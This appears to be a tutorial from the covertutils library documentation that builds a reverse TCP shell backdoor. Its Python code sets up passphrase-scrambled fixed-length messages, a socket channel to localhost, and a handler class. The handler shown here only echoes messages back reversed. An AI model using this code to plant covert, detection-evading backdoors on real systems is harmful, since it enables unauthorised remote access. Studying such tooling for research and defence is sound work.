Let’s remake a reverse TCP shell , but that time using covertutils .

Orchestration Step¶ First we are gonna need an Orchestrator object. This will password-protect our communication, providing us fixed-size byte arrays. Those bytes can be transmitted in any way, plus recognized amongst random data. from covertutils.orchestration import SimpleOrchestrator orch_obj = SimpleOrchestrator ( "Our passphrase can be anything! &^&% {} " , out_length = 20 , in_length = 20 , ) Done. Now we are sure that all byte arrays leaving our side will have a fixed length of 20 bytes (even if we send a plain whoami command which consists of 6 bytes). This is in case we need to fit them somewhere where a fixed bytelength is needed… We also have to be sure that every byte array arriving to our side is also of 20 bytes exactly. Finally, the arrays are crypto-scrambled using derivatives of our passphrase , so they will look gibberish to anyone that doesn’t have that passphrase .

Communication Channel Step¶ Then, we have to provide wrappers for the Communication Channel . TCP that is. So, making a send( data ) and a recv() blocking function will be dead simple: import socket s = socket . socket ( socket . AF_INET , socket . SOCK_STREAM ) s . connect (( "127.0.0.5" , 1234 )) # <------- aim for 'localhost' at first def send ( data ) : s . send ( data ) def recv () : # Return for every 20 bytes return s . recv ( 20 ) # This will automatically block as socket.recv() is a blocking method All set. Special needs on data that will go through the wire can be coded in those functions too! For example, if we need all data to travel in base64 , then we create the send( data ) and recv() as below: import codecs def send ( data ) : s . send ( codecs . encode ( data , 'base64' ) ) # Data will travel in Base64 def recv () : data = s . recv ( 28 ) # Base 64 length of 20 bytes return codecs . decode ( data , 'base64' ) # Raw bytes will be finally received Note This won’t affect the SimpleOrchestrator ’s byte length assertion of 20 bytes, as the recv() function decodes the data to the original byte length.

Feature Step¶ Now, that Data Orchestration and Communication Channel are all set, we need to define the features of this backdoor! So, let’s make some cool stuff using the BaseHandler first ! from covertutils.handlers import BaseHandler class MyAgent_Handler ( BaseHandler ) : """ This class tries hard to be self-explanatory """ def __init__ ( self , recv , send , orch , ** kw ) : super ( MyAgent_Handler , self ) . __init__ ( recv , send , orch , ** kw ) print ( "[!] Agent with Orchestrator ID: ' {} ' started!" . format ( orch . getIdentity () ) ) print () def onMessage ( self , stream , message ) : print ( "[+] Message arrived!" ) print ( " {} -> {} " . format ( stream , message ) ) print ( "[>] Sending the received message in reverse order!" ) self . preferred_send ( message [:: - 1 ] ) # Will respond with the reverse of what was received! def onChunk ( self , stream , message ) : print ( "[+] Chunk arrived for stream ' {} ' !" . format ( stream ) ) if message : print ( "[*] Message assembled. onMessage() will be called next!" ) print () def onNotRecognised ( self ) : print ( "[-] Got some Gibberish" ) print ( "Initialized the Orchestrator with wrong passphrase?" ) print () Those methods will be called automatically by an internal thread (no need to start it manually), so anything written to their bodies will run when circumstances meet.